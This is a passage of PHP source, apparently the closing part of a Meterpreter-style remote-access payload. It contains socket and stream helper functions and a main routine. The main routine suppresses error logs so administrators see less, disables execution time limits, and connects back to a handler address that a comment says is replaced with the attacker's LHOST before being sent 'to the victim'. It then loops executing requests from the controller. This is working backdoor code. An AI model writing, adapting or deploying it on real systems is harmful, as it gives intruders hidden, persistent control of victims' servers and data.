  795. if (strlen($tmp) < $len) {
  796. break;
  797. }
  798. }
  799. if ($resource != $msgsock) { my_print("buff: '$buff'"); }
  800. $r = Array($resource);
  801. }
  802. my_print(sprintf("Done with the big read loop on $resource, got %d bytes", strlen($buff)));
  803. break;
  804. default:
  805. # then this is possibly a closed channel resource, see if we have any
  806. # data from previous reads
  807. $cid = get_channel_id_from_resource($resource);
  808. $c = get_channel_by_id($cid);
  809. if ($c and $c['data']) {
  810. $buff = substr($c['data'], 0, $len);
  811. $c['data'] = substr($c['data'], $len);
  812. my_print("Aha! got some leftovers");
  813. } else {
  814. my_print("Wtf don't know how to read from resource $resource, c: $c");
  815. if (is_array($c)) {
  816. dump_array($c);
  817. }
  818. break;
  819. }
  820. }
  821. my_print(sprintf("Read %d bytes", strlen($buff)));
  822. return $buff;
  823. }
  824. function write($resource, $buff, $len=0) {
  825. global $udp_host_map;
  826. if ($len == 0) { $len = strlen($buff); }
  827. #my_print(sprintf("Writing $len bytes to $resource which is a %s", get_rtype($resource)));
  828. $count = false;
  829. switch (get_rtype($resource)) {
  830. case 'socket':
  831. if (array_key_exists((int)$resource, $udp_host_map)) {
  832. my_print("Writing UDP socket");
  833. list($host,$port) = $udp_host_map[(int)$resource];
  834. $count = socket_sendto($resource, $buff, $len, $host, $port);
  835. } else {
  836. $count = socket_write($resource, $buff, $len);
  837. }
  838. break;
  839. case 'stream':
  840. $count = fwrite($resource, $buff, $len);
  841. fflush($resource);
  842. break;
  843. default: my_print("Wtf don't know how to write to resource $resource"); break;
  844. }
  845. return $count;
  846. }
  847. function get_rtype($resource) {
  848. global $resource_type_map;
  849. if (array_key_exists((int)$resource, $resource_type_map)) {
  850. return $resource_type_map[(int)$resource];
  851. }
  852. return false;
  853. }
  854. function select(&$r, &$w, &$e, $tv_sec=0, $tv_usec=0) {
  855. $streams_r = array();
  856. $streams_w = array();
  857. $streams_e = array();
  858. $sockets_r = array();
  859. $sockets_w = array();
  860. $sockets_e = array();
  861. if ($r) {
  862. foreach ($r as $resource) {
  863. switch (get_rtype($resource)) {
  864. case 'socket': $sockets_r[] = $resource; break;
  865. case 'stream': $streams_r[] = $resource; break;
  866. default: my_print("Unknown resource type"); break;
  867. }
  868. }
  869. }
  870. if ($w) {
  871. foreach ($w as $resource) {
  872. switch (get_rtype($resource)) {
  873. case 'socket': $sockets_w[] = $resource; break;
  874. case 'stream': $streams_w[] = $resource; break;
  875. default: my_print("Unknown resource type"); break;
  876. }
  877. }
  878. }
  879. if ($e) {
  880. foreach ($e as $resource) {
  881. switch (get_rtype($resource)) {
  882. case 'socket': $sockets_e[] = $resource; break;
  883. case 'stream': $streams_e[] = $resource; break;
  884. default: my_print("Unknown resource type"); break;
  885. }
  886. }
  887. }
  888. $n_sockets = count($sockets_r) + count($sockets_w) + count($sockets_e);
  889. $n_streams = count($streams_r) + count($streams_w) + count($streams_e);
  890. #my_print("Selecting $n_sockets sockets and $n_streams streams with timeout $tv_sec.$tv_usec");
  891. $r = array();
  892. $w = array();
  893. $e = array();
  894. # Workaround for some versions of PHP that throw an error and bail out if
  895. # select is given an empty array
  896. if (count($sockets_r)==0) { $sockets_r = null; }
  897. if (count($sockets_w)==0) { $sockets_w = null; }
  898. if (count($sockets_e)==0) { $sockets_e = null; }
  899. if (count($streams_r)==0) { $streams_r = null; }
  900. if (count($streams_w)==0) { $streams_w = null; }
  901. if (count($streams_e)==0) { $streams_e = null; }
  902. $count = 0;
  903. if ($n_sockets > 0) {
  904. $res = socket_select($sockets_r, $sockets_w, $sockets_e, $tv_sec, $tv_usec);
  905. if (false === $res) { return false; }
  906. if (is_array($r) && is_array($sockets_r)) { $r = array_merge($r, $sockets_r); }
  907. if (is_array($w) && is_array($sockets_w)) { $w = array_merge($w, $sockets_w); }
  908. if (is_array($e) && is_array($sockets_e)) { $e = array_merge($e, $sockets_e); }
  909. $count += $res;
  910. }
  911. if ($n_streams > 0) {
  912. $res = stream_select($streams_r, $streams_w, $streams_e, $tv_sec, $tv_usec);
  913. if (false === $res) { return false; }
  914. if (is_array($r) && is_array($streams_r)) { $r = array_merge($r, $streams_r); }
  915. if (is_array($w) && is_array($streams_w)) { $w = array_merge($w, $streams_w); }
  916. if (is_array($e) && is_array($streams_e)) { $e = array_merge($e, $streams_e); }
  917. $count += $res;
  918. }
  919. #my_print(sprintf("total: $count, Modified counts: r=%s w=%s e=%s", count($r), count($w), count($e)));
  920. return $count;
  921. }
  922. function add_reader($resource) {
  923. global $readers;
  924. if (is_resource($resource) && !in_array($resource, $readers)) {
  925. $readers[] = $resource;
  926. }
  927. }
  928. function remove_reader($resource) {
  929. global $readers;
  930. #my_print("Removing reader: $resource");
  931. #dump_readers();
  932. if (in_array($resource, $readers)) {
  933. foreach ($readers as $key => $r) {
  934. if ($r == $resource) {
  935. unset($readers[$key]);
  936. }
  937. }
  938. }
  939. }
  940. ##
  941. # Main stuff
  942. ##
  943. ob_implicit_flush();
  944. # For debugging
  945. #error_reporting(E_ALL);
  946. # Turn off error reporting so we don't leave any ugly logs. Why make an
  947. # administrator's job easier if we don't have to? =)
  948. error_reporting(0);
  949. @ignore_user_abort(true);
  950. # Has no effect in safe mode, but try anyway
  951. @set_time_limit(0);
  952. @ignore_user_abort(1);
  953. @ini_set('max_execution_time',0);
  954. # If we don't have a socket we're standalone, setup the connection here.
  955. # Otherwise, this is a staged payload, don't bother connecting
  956. if (!isset($GLOBALS['msgsock'])) {
  957. # The payload handler overwrites this with the correct LHOST before sending
  958. # it to the victim.
  959. $ipaddr = '127.0.0.1';
  960. $port = 4444;
  961. my_print("Don't have a msgsock, trying to connect($ipaddr, $port)");
  962. $msgsock = connect($ipaddr, $port);
  963. if (!$msgsock) { die(); }
  964. } else {
  965. # The ABI for PHP stagers is a socket in $msgsock and it's type (socket or
  966. # stream) in $msgsock_type
  967. $msgsock = $GLOBALS['msgsock'];
  968. $msgsock_type = $GLOBALS['msgsock_type'];
  969. switch ($msgsock_type) {
  970. case 'socket':
  971. register_socket($msgsock);
  972. break;
  973. case 'stream':
  974. # fall through
  975. default:
  976. register_stream($msgsock);
  977. }
  978. }
  979. add_reader($msgsock);
  980. #
  981. # Main dispatch loop
  982. #
  983. $r=$GLOBALS['readers'];
  984. while (false !== ($cnt = select($r, $w=null, $e=null, 1))) {
  985. #my_print(sprintf("Returned from select with %s readers", count($r)));
  986. $read_failed = false;
  987. for ($i = 0; $i < $cnt; $i++) {
  988. $ready = $r[$i];
  989. if ($ready == $msgsock) {
  990. $request = read($msgsock, 8);
  991. #my_print(sprintf("Read returned %s bytes", strlen($request)));
  992. if (false==$request) {
  993. #my_print("Read failed on main socket, bailing");
  994. # We failed on the main socket. There's no way to continue, so
  995. # break all the way out.
  996. break 2;
  997. }
  998. $a = unpack("Nlen/Ntype", $request);
  999. # length of the whole packet, including header
  1000. $len = $a['len'];
  1001. # packet type should always be 0, i.e. PACKET_TYPE_REQUEST
  1002. $ptype = $a['type'];
  1003. while (strlen($request) < $a['len']) {
  1004. $request .= read($msgsock, $len-strlen($request));
  1005. }
  1006. #my_print("creating response");
  1007. $response = create_response($request);
  1008. write($msgsock, $response);
  1009. } else {
  1010. #my_print("not Msgsock: $ready");
  1011. $data = read($ready);
  1012. if (false === $data) {
  1013. handle_dead_resource_channel($ready);
  1014. } elseif (strlen($data) > 0){
  1015. my_print(sprintf("Read returned %s bytes", strlen($data)));
  1016. $request = handle_resource_read_channel($ready, $data);
  1017. if ($request) {
  1018. write($msgsock, $request);
  1019. }
  1020. }
  1021. }
  1022. }
  1023. # $r is modified by select, so reset it
  1024. $r = $GLOBALS['readers'];
  1025. } # end main loop
  1026. my_print("Finished");
  1027. my_print("--------------------");
  1028. close($msgsock);